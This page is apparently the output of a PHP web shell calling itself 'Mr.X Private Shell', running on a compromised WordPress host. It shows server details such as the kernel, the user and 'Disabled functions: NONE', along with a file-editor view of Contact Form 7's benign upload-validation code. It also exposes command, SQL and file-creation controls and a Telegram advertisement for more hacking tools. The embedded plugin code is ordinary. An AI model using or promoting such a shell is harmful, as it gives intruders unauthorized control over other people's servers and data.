Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content/plugins/contact-form-7/includes/swv/rules      ( Reset | Go to )
File Name: file.php
Edit
<?php

class WPCF7_SWV_FileRule extends WPCF7_SWV_Rule {

    const 
rule_name 'file';

    public function 
matches$context ) {
        if ( 
false === parent::matches$context ) ) {
            return 
false;
        }

        if ( empty( 
$context['file'] ) ) {
            return 
false;
        }

        return 
true;
    }

    public function 
validate$context ) {
        
$field $this->get_property'field' );
        
$input = isset( $_FILES[$field]['name'] ) ? $_FILES[$field]['name'] : '';
        
$input wpcf7_array_flatten$input );
        
$input wpcf7_exclude_blank$input );

        
$acceptable_filetypes = array();

        foreach ( (array) 
$this->get_property'accept' ) as $accept ) {
            if ( 
preg_match'/^\.[a-z0-9]+$/i'$accept ) ) {
                
$acceptable_filetypes[] = strtolower$accept );
            } else {
                foreach ( 
wpcf7_convert_mime_to_ext$accept ) as $ext ) {
                    
$acceptable_filetypes[] = sprintf(
                        
'.%s',
                        
strtolowertrim$ext' .' ) )
                    );
                }
            }
        }

        
$acceptable_filetypes array_unique$acceptable_filetypes );

        foreach ( 
$input as $i ) {
            
$last_period_pos strrpos$i'.' );

            if ( 
false === $last_period_pos ) { // no period
                
return new WP_Error'wpcf7_invalid_file',
                    
$this->get_property'error' )
                );
            }

            
$suffix strtolowersubstr$i$last_period_pos ) );

            if ( ! 
in_array$suffix$acceptable_filetypestrue ) ) {
                return new 
WP_Error'wpcf7_invalid_file',
                    
$this->get_property'error' )
                );
            }
        }

        return 
true;
    }

}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL